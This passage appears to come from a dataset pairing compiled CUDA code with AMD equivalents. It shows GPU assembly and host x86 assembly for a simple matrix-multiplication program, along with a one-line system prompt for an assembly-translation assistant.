/*0720*/ MOV R10, UR6 ; /* 0x00000006000a7c02 */
/* 0x000fe20008000f00 */
/*0730*/ LDG.E R20, [R18.64] ; /* 0x0000000412147981 */
/* 0x0000a2000c1e1900 */
/*0740*/ MOV R11, UR7 ; /* 0x00000007000b7c02 */
/* 0x000fca0008000f00 */
/*0750*/ IMAD.WIDE R10, R5, 0x4, R10 ; /* 0x00000004050a7825 */
/* 0x000fca00078e020a */
/*0760*/ LDG.E R9, [R10.64] ; /* 0x000000040a097981 */
/* 0x000ea2000c1e1900 */
/*0770*/ IMAD.WIDE R22, R4, 0x4, R18 ; /* 0x0000000404167825 */
/* 0x000fc600078e0212 */
/*0780*/ LDG.E R25, [R10.64+0x4] ; /* 0x000004040a197981 */
/* 0x000ee6000c1e1900 */
/*0790*/ IMAD.WIDE R12, R4.reuse, 0x4, R22 ; /* 0x00000004040c7825 */
/* 0x040fe200078e0216 */
/*07a0*/ LDG.E R24, [R22.64] ; /* 0x0000000416187981 */
/* 0x0002e8000c1e1900 */
/*07b0*/ LDG.E R26, [R12.64] ; /* 0x000000040c1a7981 */
/* 0x000962000c1e1900 */
/*07c0*/ IMAD.WIDE R14, R4, 0x4, R12 ; /* 0x00000004040e7825 */
/* 0x000fc600078e020c */
/*07d0*/ LDG.E R27, [R10.64+0x8] ; /* 0x000008040a1b7981 */
/* 0x000f66000c1e1900 */
/*07e0*/ IMAD.WIDE R16, R4.reuse, 0x4, R14 ; /* 0x0000000404107825 */
/* 0x040fe200078e020e */
/*07f0*/ LDG.E R29, [R10.64+0xc] ; /* 0x00000c040a1d7981 */
/* 0x000f68000c1e1900 */
/*0800*/ LDG.E R14, [R14.64] ; /* 0x000000040e0e7981 */
/* 0x000962000c1e1900 */
/*0810*/ IMAD.WIDE R18, R4, 0x4, R16 ; /* 0x0000000404127825 */
/* 0x001fc600078e0210 */
/*0820*/ LDG.E R16, [R16.64] ; /* 0x0000000410107981 */
/* 0x000166000c1e1900 */
/*0830*/ IMAD.WIDE R22, R4.reuse, 0x4, R18 ; /* 0x0000000404167825 */
/* 0x042fe200078e0212 */
/*0840*/ LDG.E R28, [R18.64] ; /* 0x00000004121c7981 */
/* 0x000368000c1e1900 */
/*0850*/ LDG.E R15, [R10.64+0x10] ; /* 0x000010040a0f7981 */
/* 0x010f22000c1e1900 */
/*0860*/ IMAD.WIDE R12, R4, 0x4, R22 ; /* 0x00000004040c7825 */
/* 0x000fc600078e0216 */
/*0870*/ LDG.E R18, [R10.64+0x1c] ; /* 0x00001c040a127981 */
/* 0x002f28000c1e1900 */
/*0880*/ LDG.E R17, [R12.64] ; /* 0x000000040c117981 */
/* 0x001f22000c1e1900 */
/*0890*/ FFMA R19, R20, R9, R21 ; /* 0x0000000914137223 */
/* 0x004fc60000000015 */
/*08a0*/ LDG.E R21, [R10.64+0x14] ; /* 0x000014040a157981 */
/* 0x000ea8000c1e1900 */
/*08b0*/ LDG.E R9, [R22.64] ; /* 0x0000000416097981 */
/* 0x000ea8000c1e1900 */
/*08c0*/ LDG.E R20, [R10.64+0x18] ; /* 0x000018040a147981 */
/* 0x000ea2000c1e1900 */
/*08d0*/ FFMA R24, R24, R25, R19 ; /* 0x0000001918187223 */
/* 0x008fc80000000013 */
/*08e0*/ FFMA R24, R26, R27, R24 ; /* 0x0000001b1a187223 */
/* 0x020fc80000000018 */
/*08f0*/ FFMA R14, R14, R29, R24 ; /* 0x0000001d0e0e7223 */
/* 0x000fc80000000018 */
/*0900*/ FFMA R14, R16, R15, R14 ; /* 0x0000000f100e7223 */
/* 0x010fe2000000000e */
/*0910*/ UIADD3 UR6, UP0, UR6, 0x20, URZ ; /* 0x0000002006067890 */
/* 0x000fe2000ff1e03f */
/*0920*/ PLOP3.LUT P0, PT, PT, PT, PT, 0x8, 0x0 ; /* 0x000000000000781c */
/* 0x000fe40003f0e170 */
/*0930*/ IADD3 R6, R6, 0x8, RZ ; /* 0x0000000806067810 */
/* 0x000fe40007ffe0ff */
/*0940*/ IADD3 R8, R8, -0x8, RZ ; /* 0xfffffff808087810 */
/* 0x000fe20007ffe0ff */
/*0950*/ UIADD3.X UR7, URZ, UR7, URZ, UP0, !UPT ; /* 0x000000073f077290 */
/* 0x000fe200087fe43f */
/*0960*/ FFMA R14, R28, R21, R14 ; /* 0x000000151c0e7223 */
/* 0x004fc8000000000e */
/*0970*/ FFMA R9, R9, R20, R14 ; /* 0x0000001409097223 */
/* 0x000fc8000000000e */
/*0980*/ FFMA R21, R17, R18, R9 ; /* 0x0000001211157223 */
/* 0x000fe40000000009 */
/*0990*/ IMAD.WIDE R18, R4, 0x4, R12 ; /* 0x0000000404127825 */
/* 0x000fc800078e020c */
/*09a0*/ ISETP.NE.OR P0, PT, R8, RZ, P0 ; /* 0x000000ff0800720c */
/* 0x000fda0000705670 */
/*09b0*/ @!P0 BRA 0xb50 ; /* 0x0000019000008947 */
/* 0x000fea0003800000 */
/*09c0*/ MOV R10, UR6 ; /* 0x00000006000a7c02 */
/* 0x000fe20008000f00 */
/*09d0*/ IMAD.WIDE R12, R4, 0x4, R18 ; /* 0x00000004040c7825 */
/* 0x000fe200078e0212 */
/*09e0*/ MOV R11, UR7 ; /* 0x00000007000b7c02 */
/* 0x000fe20008000f00 */
/*09f0*/ LDG.E R18, [R18.64] ; /* 0x0000000412127981 */
/* 0x000ea8000c1e1900 */
/*0a00*/ IMAD.WIDE R10, R5, 0x4, R10 ; /* 0x00000004050a7825 */
/* 0x000fc800078e020a */
/*0a10*/ IMAD.WIDE R14, R4.reuse, 0x4, R12 ; /* 0x00000004040e7825 */
/* 0x040fe200078e020c */
/*0a20*/ LDG.E R9, [R10.64] ; /* 0x000000040a097981 */
/* 0x000ea8000c1e1900 */
/*0a30*/ LDG.E R12, [R12.64] ; /* 0x000000040c0c7981 */
/* 0x000ee2000c1e1900 */
/*0a40*/ IMAD.WIDE R16, R4, 0x4, R14 ; /* 0x0000000404107825 */
/* 0x000fc600078e020e */
/*0a50*/ LDG.E R20, [R10.64+0x4] ; /* 0x000004040a147981 */
/* 0x000ee8000c1e1900 */
/*0a60*/ LDG.E R22, [R14.64] ; /* 0x000000040e167981 */
/* 0x000f28000c1e1900 */
/*0a70*/ LDG.E R23, [R10.64+0x8] ; /* 0x000008040a177981 */
/* 0x000f28000c1e1900 */
/*0a80*/ LDG.E R25, [R10.64+0xc] ; /* 0x00000c040a197981 */
/* 0x000f68000c1e1900 */
/*0a90*/ LDG.E R24, [R16.64] ; /* 0x0000000410187981 */
/* 0x000f62000c1e1900 */
/*0aa0*/ IADD3 R8, R8, -0x4, RZ ; /* 0xfffffffc08087810 */
/* 0x000fc80007ffe0ff */
/*0ab0*/ ISETP.NE.AND P0, PT, R8, RZ, PT ; /* 0x000000ff0800720c */
/* 0x000fe20003f05270 */
/*0ac0*/ UIADD3 UR6, UP0, UR6, 0x10, URZ ; /* 0x0000001006067890 */
/* 0x000fe2000ff1e03f */
/*0ad0*/ IADD3 R6, R6, 0x4, RZ ; /* 0x0000000406067810 */
/* 0x000fc60007ffe0ff */
/*0ae0*/ UIADD3.X UR7, URZ, UR7, URZ, UP0, !UPT ; /* 0x000000073f077290 */
/* 0x000fe200087fe43f */
/*0af0*/ FFMA R9, R18, R9, R21 ; /* 0x0000000912097223 */
/* 0x004fc80000000015 */
/*0b00*/ FFMA R9, R12, R20, R9 ; /* 0x000000140c097223 */
/* 0x008fe40000000009 */
/*0b10*/ IMAD.WIDE R18, R4, 0x4, R16 ; /* 0x0000000404127825 */
/* 0x000fc800078e0210 */
/*0b20*/ FFMA R9, R22, R23, R9 ; /* 0x0000001716097223 */
/* 0x010fc80000000009 */
/*0b30*/ FFMA R21, R24, R25, R9 ; /* 0x0000001918157223 */
/* 0x020fe20000000009 */
/*0b40*/ @P0 BRA 0x9c0 ; /* 0xfffffe7000000947 */
/* 0x000fea000383ffff */
/*0b50*/ ISETP.NE.AND P0, PT, R7, RZ, PT ; /* 0x000000ff0700720c */
/* 0x000fda0003f05270 */
/*0b60*/ @!P0 BRA 0xc90 ; /* 0x0000012000008947 */
/* 0x000fea0003800000 */
/*0b70*/ HFMA2.MMA R10, -RZ, RZ, 0, 2.384185791015625e-07 ; /* 0x00000004ff0a7435 */
/* 0x000fe200000001ff */
/*0b80*/ IADD3 R8, R5, R6, RZ ; /* 0x0000000605087210 */
/* 0x000fe20007ffe0ff */
/*0b90*/ IMAD R3, R6, c[0x0][0x184], R3 ; /* 0x0000610006037a24 */
/* 0x000fc800078e0203 */
/*0ba0*/ IMAD R3, R0, c[0x0][0x17c], R3 ; /* 0x00005f0000037a24 */
/* 0x000fc800078e0203 */
/*0bb0*/ IMAD.WIDE R8, R8, R10, c[0x0][0x160] ; /* 0x0000580008087625 */
/* 0x000fca00078e020a */
/*0bc0*/ MOV R6, R8 ; /* 0x0000000800067202 */
/* 0x000fe40000000f00 */
/*0bd0*/ MOV R11, R9 ; /* 0x00000009000b7202 */
/* 0x000fe20000000f00 */
/*0be0*/ IMAD.WIDE R8, R3, R10, c[0x0][0x168] ; /* 0x00005a0003087625 */
/* 0x000fc800078e020a */
/*0bf0*/ MOV R10, R6 ; /* 0x00000006000a7202 */
/* 0x000fe20000000f00 */
/*0c00*/ LDG.E R0, [R8.64] ; /* 0x0000000408007981 */
/* 0x0000a8000c1e1900 */
/*0c10*/ LDG.E R3, [R10.64] ; /* 0x000000040a037981 */
/* 0x0002a2000c1e1900 */
/*0c20*/ IADD3 R7, R7, -0x1, RZ ; /* 0xffffffff07077810 */
/* 0x000fe40007ffe0ff */
/*0c30*/ IADD3 R6, P1, R6, 0x4, RZ ; /* 0x0000000406067810 */
/* 0x000fc40007f3e0ff */
/*0c40*/ ISETP.NE.AND P0, PT, R7, RZ, PT ; /* 0x000000ff0700720c */
/* 0x000fe20003f05270 */
/*0c50*/ IMAD.WIDE R8, R4, 0x4, R8 ; /* 0x0000000404087825 */
/* 0x001fe200078e0208 */
/*0c60*/ IADD3.X R11, RZ, R11, RZ, P1, !PT ; /* 0x0000000bff0b7210 */
/* 0x002fc60000ffe4ff */
/*0c70*/ FFMA R21, R0, R3, R21 ; /* 0x0000000300157223 */
/* 0x004fd00000000015 */
/*0c80*/ @P0 BRA 0xbf0 ; /* 0xffffff6000000947 */
/* 0x000fea000383ffff */
/*0c90*/ IADD3 R2, R2, R5, RZ ; /* 0x0000000502027210 */
/* 0x000fe40007ffe0ff */
/*0ca0*/ MOV R3, 0x4 ; /* 0x0000000400037802 */
/* 0x000fca0000000f00 */
/*0cb0*/ IMAD.WIDE R2, R2, R3, c[0x0][0x170] ; /* 0x00005c0002027625 */
/* 0x000fca00078e0203 */
/*0cc0*/ STG.E [R2.64], R21 ; /* 0x0000001502007986 */
/* 0x000fe2000c101904 */
/*0cd0*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*0ce0*/ BRA 0xce0; /* 0xfffffff000007947 */
/* 0x000fc0000383ffff */
/*0cf0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0d00*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0d10*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0d20*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0d30*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0d40*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0d50*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0d60*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0d70*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
.......... | .text
.amdgcn_target "amdgcn-amd-amdhsa--gfx1100"
.protected _Z10cudaMatMulPfS_S_iiii
.globl _Z10cudaMatMulPfS_S_iiii
.p2align 8
.type _Z10cudaMatMulPfS_S_iiii,@function
_Z10cudaMatMulPfS_S_iiii:
s_clause 0x2
s_load_b32 s5, s[0:1], 0x34
s_load_b32 s6, s[0:1], 0x18
s_load_b32 s4, s[0:1], 0x20
s_add_u32 s2, s0, 40
v_and_b32_e32 v1, 0x3ff, v0
s_addc_u32 s3, s1, 0
s_waitcnt lgkmcnt(0)
s_and_b32 s5, s5, 0xffff
s_mul_i32 s7, s4, s6
s_mul_i32 s14, s14, s5
s_add_i32 s5, s6, 1
v_add3_u32 v5, s14, s7, v1
s_mul_i32 s5, s5, s4
s_delay_alu instid0(VALU_DEP_1) | instid1(SALU_CYCLE_1)
v_cmp_gt_i32_e32 vcc_lo, s5, v5
s_and_saveexec_b32 s5, vcc_lo
s_cbranch_execz .LBB0_7
s_load_b32 s2, s[2:3], 0xc
s_load_b32 s3, s[0:1], 0x1c
v_bfe_u32 v0, v0, 10, 10
s_waitcnt lgkmcnt(0)
s_lshr_b32 s2, s2, 16
s_mul_i32 s5, s4, s3
s_mul_i32 s15, s15, s2
s_add_i32 s2, s3, 1
v_add3_u32 v0, s15, s5, v0
s_mul_i32 s2, s2, s4
s_delay_alu instid0(VALU_DEP_1) | instid1(SALU_CYCLE_1)
v_cmp_gt_i32_e32 vcc_lo, s2, v0
s_and_b32 exec_lo, exec_lo, vcc_lo
s_cbranch_execz .LBB0_7
s_load_b32 s2, s[0:1], 0x24
s_waitcnt lgkmcnt(0)
s_cmp_lt_i32 s2, 1
s_cbranch_scc1 .LBB0_5
s_load_b128 s[4:7], s[0:1], 0x0
v_mul_lo_u32 v1, v5, s2
v_dual_mov_b32 v6, 0 :: v_dual_mov_b32 v3, v0
s_mov_b32 s3, s2
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
v_ashrrev_i32_e32 v2, 31, v1
v_lshlrev_b64 v[1:2], 2, v[1:2]
s_waitcnt lgkmcnt(0)
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_2)
v_add_co_u32 v1, vcc_lo, s4, v1
v_add_co_ci_u32_e32 v2, vcc_lo, s5, v2, vcc_lo
.p2align 6
.LBB0_4:
v_ashrrev_i32_e32 v4, 31, v3
s_add_i32 s3, s3, -1
s_delay_alu instid0(SALU_CYCLE_1) | instskip(NEXT) | instid1(VALU_DEP_1)
s_cmp_eq_u32 s3, 0
v_lshlrev_b64 v[7:8], 2, v[3:4]
v_add_nc_u32_e32 v3, s2, v3
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_3)
v_add_co_u32 v7, vcc_lo, s6, v7
v_add_co_ci_u32_e32 v8, vcc_lo, s7, v8, vcc_lo
global_load_b32 v4, v[1:2], off
global_load_b32 v7, v[7:8], off
v_add_co_u32 v1, vcc_lo, v1, 4
v_add_co_ci_u32_e32 v2, vcc_lo, 0, v2, vcc_lo
s_waitcnt vmcnt(0)
v_fmac_f32_e32 v6, v4, v7
s_cbranch_scc0 .LBB0_4
s_branch .LBB0_6
.LBB0_5:
v_mov_b32_e32 v6, 0
.LBB0_6:
s_load_b64 s[0:1], s[0:1], 0x10
v_mad_u64_u32 v[1:2], null, v5, s2, v[0:1]
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_ashrrev_i32_e32 v2, 31, v1
v_lshlrev_b64 v[0:1], 2, v[1:2]
s_waitcnt lgkmcnt(0)
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_2)
v_add_co_u32 v0, vcc_lo, s0, v0
v_add_co_ci_u32_e32 v1, vcc_lo, s1, v1, vcc_lo
global_store_b32 v[0:1], v6, off
.LBB0_7:
s_nop 0
s_sendmsg sendmsg(MSG_DEALLOC_VGPRS)
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _Z10cudaMatMulPfS_S_iiii
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 296
.amdhsa_user_sgpr_count 14
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 1
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 1
.amdhsa_system_sgpr_workgroup_id_z 0
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 1
.amdhsa_next_free_vgpr 9
.amdhsa_next_free_sgpr 16
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.text
.Lfunc_end0:
.size _Z10cudaMatMulPfS_S_iiii, .Lfunc_end0-_Z10cudaMatMulPfS_S_iiii
.section .AMDGPU.csdata,"",@progbits
.text
.p2alignl 7, 3214868480
.fill 96, 4, 3214868480
.type __hip_cuid_,@object
.section .bss,"aw",@nobits
.globl __hip_cuid_
__hip_cuid_:
.byte 0
.size __hip_cuid_, 1
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym __hip_cuid_
.amdgpu_metadata
---
amdhsa.kernels:
- .args:
- .address_space: global
.offset: 0
.size: 8
.value_kind: global_buffer
- .address_space: global
.offset: 8
.size: 8
.value_kind: global_buffer
- .address_space: global
.offset: 16
.size: 8
.value_kind: global_buffer
- .offset: 24
.size: 4
.value_kind: by_value
- .offset: 28
.size: 4
.value_kind: by_value
- .offset: 32
.size: 4
.value_kind: by_value
- .offset: 36
.size: 4
.value_kind: by_value
- .offset: 40
.size: 4
.value_kind: hidden_block_count_x
- .offset: 44
.size: 4
.value_kind: hidden_block_count_y
- .offset: 48
.size: 4
.value_kind: hidden_block_count_z
- .offset: 52
.size: 2
.value_kind: hidden_group_size_x
- .offset: 54
.size: 2
.value_kind: hidden_group_size_y
- .offset: 56
.size: 2
.value_kind: hidden_group_size_z
- .offset: 58
.size: 2
.value_kind: hidden_remainder_x
- .offset: 60
.size: 2
.value_kind: hidden_remainder_y
- .offset: 62
.size: 2
.value_kind: hidden_remainder_z
- .offset: 80
.size: 8
.value_kind: hidden_global_offset_x
- .offset: 88
.size: 8
.value_kind: hidden_global_offset_y
- .offset: 96
.size: 8
.value_kind: hidden_global_offset_z
- .offset: 104
.size: 2
.value_kind: hidden_grid_dims
.group_segment_fixed_size: 0
.kernarg_segment_align: 8
.kernarg_segment_size: 296
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _Z10cudaMatMulPfS_S_iiii
.private_segment_fixed_size: 0
.sgpr_count: 18
.sgpr_spill_count: 0
.symbol: _Z10cudaMatMulPfS_S_iiii.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 9
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
amdhsa.target: amdgcn-amd-amdhsa--gfx1100
amdhsa.version:
- 1
- 2
...
.end_amdgpu_metadata |
You are a helpful coding assistant specialized in converting from CUDA host assembly to AMD host assembly. | .file "tmpxft_00144996_00000000-6_prob1.cudafe1.cpp"
.text
#APP
#NO_APP
.type _ZL26__cudaUnregisterBinaryUtilv, @function
_ZL26__cudaUnregisterBinaryUtilv:
.LFB2078:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaUnregisterFatBinary@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2078:
.size _ZL26__cudaUnregisterBinaryUtilv, .-_ZL26__cudaUnregisterBinaryUtilv
.section .rodata.str1.1,"aMS",@progbits,1
.LC0:
.string "malloc"
.text
.globl _Z11make_matrixi
.type _Z11make_matrixi, @function
_Z11make_matrixi:
.LFB2070:
.cfi_startproc
endbr64
pushq %rbx
.cfi_def_cfa_offset 16
.cfi_offset 3, -16
movslq %edi, %rdi
imulq %rdi, %rdi
salq $2, %rdi
call malloc@PLT
testq %rax, %rax
je .L7
movq %rax, %rbx
movl $4096, %edi
call malloc@PLT
testq %rax, %rax
je .L8
movq %rbx, %rax
popq %rbx
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L7:
.cfi_restore_state
leaq .LC0(%rip), %rdi
call perror@PLT
movl $0, %edi
call exit@PLT
.L8:
leaq .LC0(%rip), %rdi
call perror@PLT
movl $0, %edi
call exit@PLT
.cfi_endproc
.LFE2070:
.size _Z11make_matrixi, .-_Z11make_matrixi
.globl _Z10set_matrixPfi
.type _Z10set_matrixPfi, @function
_Z10set_matrixPfi:
.LFB2071:
.cfi_startproc
endbr64
testl %esi, %esi
jle .L15
pushq %r15
.cfi_def_cfa_offset 16
.cfi_offset 15, -16
pushq %r14
.cfi_def_cfa_offset 24
.cfi_offset 14, -24
pushq %r13
.cfi_def_cfa_offset 32
.cfi_offset 13, -32
pushq %r12
.cfi_def_cfa_offset 40
.cfi_offset 12, -40
pushq %rbp
.cfi_def_cfa_offset 48
.cfi_offset 6, -48
pushq %rbx
.cfi_def_cfa_offset 56
.cfi_offset 3, -56
subq $8, %rsp
.cfi_def_cfa_offset 64
movl %esi, %r14d
movslq %esi, %r13
leaq 0(,%r13,4), %r15
leaq (%rdi,%r15), %rbp
negq %r13
salq $2, %r13
movl $0, %r12d
.L11:
leaq 0(%rbp,%r13), %rbx
.L12:
call drand48@PLT
cvtsd2ss %xmm0, %xmm0
movss %xmm0, (%rbx)
addq $4, %rbx
cmpq %rbp, %rbx
jne .L12
addl $1, %r12d
addq %r15, %rbp
cmpl %r12d, %r14d
jne .L11
addq $8, %rsp
.cfi_def_cfa_offset 56
popq %rbx
.cfi_def_cfa_offset 48
popq %rbp
.cfi_def_cfa_offset 40
popq %r12
.cfi_def_cfa_offset 32
popq %r13
.cfi_def_cfa_offset 24
popq %r14
.cfi_def_cfa_offset 16
popq %r15
.cfi_def_cfa_offset 8
ret
.L15:
.cfi_restore 3
.cfi_restore 6
.cfi_restore 12
.cfi_restore 13
.cfi_restore 14
.cfi_restore 15
ret
.cfi_endproc
.LFE2071:
.size _Z10set_matrixPfi, .-_Z10set_matrixPfi
.section .rodata.str1.1
.LC1:
.string "["
.LC2:
.string " %f"
.LC3:
.string ";"
.LC4:
.string " ]\n"
.text
.globl _Z12print_matrixPdi
.type _Z12print_matrixPdi, @function
_Z12print_matrixPdi:
.LFB2072:
.cfi_startproc
endbr64
pushq %r15
.cfi_def_cfa_offset 16
.cfi_offset 15, -16
pushq %r14
.cfi_def_cfa_offset 24
.cfi_offset 14, -24
pushq %r13
.cfi_def_cfa_offset 32
.cfi_offset 13, -32
pushq %r12
.cfi_def_cfa_offset 40
.cfi_offset 12, -40
pushq %rbp
.cfi_def_cfa_offset 48
.cfi_offset 6, -48
pushq %rbx
.cfi_def_cfa_offset 56
.cfi_offset 3, -56
subq $24, %rsp
.cfi_def_cfa_offset 80
movq %rdi, %rbp
movl %esi, %ebx
movl %esi, 12(%rsp)
leaq .LC1(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
testl %ebx, %ebx
jle .L19
movslq %ebx, %r14
leaq 0(,%r14,8), %r15
addq %r15, %rbp
negq %r14
salq $3, %r14
movl $0, %r13d
leaq .LC2(%rip), %r12
.L20:
leaq 0(%rbp,%r14), %rbx
.L21:
movsd (%rbx), %xmm0
movq %r12, %rsi
movl $2, %edi
movl $1, %eax
call __printf_chk@PLT
addq $8, %rbx
cmpq %rbp, %rbx
jne .L21
leaq .LC3(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
addl $1, %r13d
addq %r15, %rbp
cmpl %r13d, 12(%rsp)
jne .L20
.L19:
leaq .LC4(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
addq $24, %rsp
.cfi_def_cfa_offset 56
popq %rbx
.cfi_def_cfa_offset 48
popq %rbp
.cfi_def_cfa_offset 40
popq %r12
.cfi_def_cfa_offset 32
popq %r13
.cfi_def_cfa_offset 24
popq %r14
.cfi_def_cfa_offset 16
popq %r15
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2072:
.size _Z12print_matrixPdi, .-_Z12print_matrixPdi
.globl _Z11serial_mmulPfS_S_
.type _Z11serial_mmulPfS_S_, @function
_Z11serial_mmulPfS_S_:
.LFB2074:
.cfi_startproc
endbr64
movq %rdi, %r9
movq %rsi, %r10
movq %rdx, %r11
movl $0, %r8d
cmpl $0, size(%rip)
jg .L25
ret
.L29:
imull %r8d, %eax
addl %edi, %eax
cltq
movl $0x00000000, (%r11,%rax,4)
movl size(%rip), %eax
testl %eax, %eax
jle .L27
movl $0, %ecx
.L28:
movl %eax, %edx
imull %r8d, %edx
leal (%rdx,%rdi), %esi
movslq %esi, %rsi
leaq (%r11,%rsi,4), %rsi
imull %ecx, %eax
addl %edi, %eax
cltq
addl %ecx, %edx
movslq %edx, %rdx
movss (%r10,%rax,4), %xmm0
mulss (%r9,%rdx,4), %xmm0
addss (%rsi), %xmm0
movss %xmm0, (%rsi)
addl $1, %ecx
movl size(%rip), %eax
cmpl %ecx, %eax
jg .L28
.L27:
addl $1, %edi
movl size(%rip), %eax
cmpl %edi, %eax
jg .L29
.L30:
addl $1, %r8d
cmpl %r8d, size(%rip)
jle .L24
.L25:
movl size(%rip), %eax
movl $0, %edi
testl %eax, %eax
jg .L29
jmp .L30
.L24:
ret
.cfi_endproc
.LFE2074:
.size _Z11serial_mmulPfS_S_, .-_Z11serial_mmulPfS_S_
.globl _Z38__device_stub__Z10cudaMatMulPfS_S_iiiiPfS_S_iiii
.type _Z38__device_stub__Z10cudaMatMulPfS_S_iiiiPfS_S_iiii, @function
_Z38__device_stub__Z10cudaMatMulPfS_S_iiiiPfS_S_iiii:
.LFB2100:
.cfi_startproc
endbr64
subq $184, %rsp
.cfi_def_cfa_offset 192
movq %rdi, 40(%rsp)
movq %rsi, 32(%rsp)
movq %rdx, 24(%rsp)
movl %ecx, 20(%rsp)
movl %r8d, 16(%rsp)
movl %r9d, 12(%rsp)
movq %fs:40, %rax
movq %rax, 168(%rsp)
xorl %eax, %eax
leaq 40(%rsp), %rax
movq %rax, 112(%rsp)
leaq 32(%rsp), %rax
movq %rax, 120(%rsp)
leaq 24(%rsp), %rax
movq %rax, 128(%rsp)
leaq 20(%rsp), %rax
movq %rax, 136(%rsp)
leaq 16(%rsp), %rax
movq %rax, 144(%rsp)
leaq 12(%rsp), %rax
movq %rax, 152(%rsp)
leaq 192(%rsp), %rax
movq %rax, 160(%rsp)
movl $1, 64(%rsp)
movl $1, 68(%rsp)
movl $1, 72(%rsp)
movl $1, 76(%rsp)
movl $1, 80(%rsp)
movl $1, 84(%rsp)
leaq 56(%rsp), %rcx
leaq 48(%rsp), %rdx
leaq 76(%rsp), %rsi
leaq 64(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L41
.L37:
movq 168(%rsp), %rax
subq %fs:40, %rax
jne .L42
addq $184, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L41:
.cfi_restore_state
pushq 56(%rsp)
.cfi_def_cfa_offset 200
pushq 56(%rsp)
.cfi_def_cfa_offset 208
leaq 128(%rsp), %r9
movq 92(%rsp), %rcx
movl 100(%rsp), %r8d
movq 80(%rsp), %rsi
movl 88(%rsp), %edx
leaq _Z10cudaMatMulPfS_S_iiii(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 192
jmp .L37
.L42:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2100:
.size _Z38__device_stub__Z10cudaMatMulPfS_S_iiiiPfS_S_iiii, .-_Z38__device_stub__Z10cudaMatMulPfS_S_iiiiPfS_S_iiii
.globl _Z10cudaMatMulPfS_S_iiii
.type _Z10cudaMatMulPfS_S_iiii, @function
_Z10cudaMatMulPfS_S_iiii:
.LFB2101:
.cfi_startproc
endbr64
subq $16, %rsp
.cfi_def_cfa_offset 24
movl 24(%rsp), %eax
pushq %rax
.cfi_def_cfa_offset 32
call _Z38__device_stub__Z10cudaMatMulPfS_S_iiiiPfS_S_iiii
addq $24, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2101:
.size _Z10cudaMatMulPfS_S_iiii, .-_Z10cudaMatMulPfS_S_iiii
.globl _Z9cuda_mmulPfS_S_i
.type _Z9cuda_mmulPfS_S_i, @function
_Z9cuda_mmulPfS_S_i:
.LFB2073:
.cfi_startproc
endbr64
pushq %r15
.cfi_def_cfa_offset 16
.cfi_offset 15, -16
pushq %r14
.cfi_def_cfa_offset 24
.cfi_offset 14, -24
pushq %r13
.cfi_def_cfa_offset 32
.cfi_offset 13, -32
pushq %r12
.cfi_def_cfa_offset 40
.cfi_offset 12, -40
pushq %rbp
.cfi_def_cfa_offset 48
.cfi_offset 6, -48
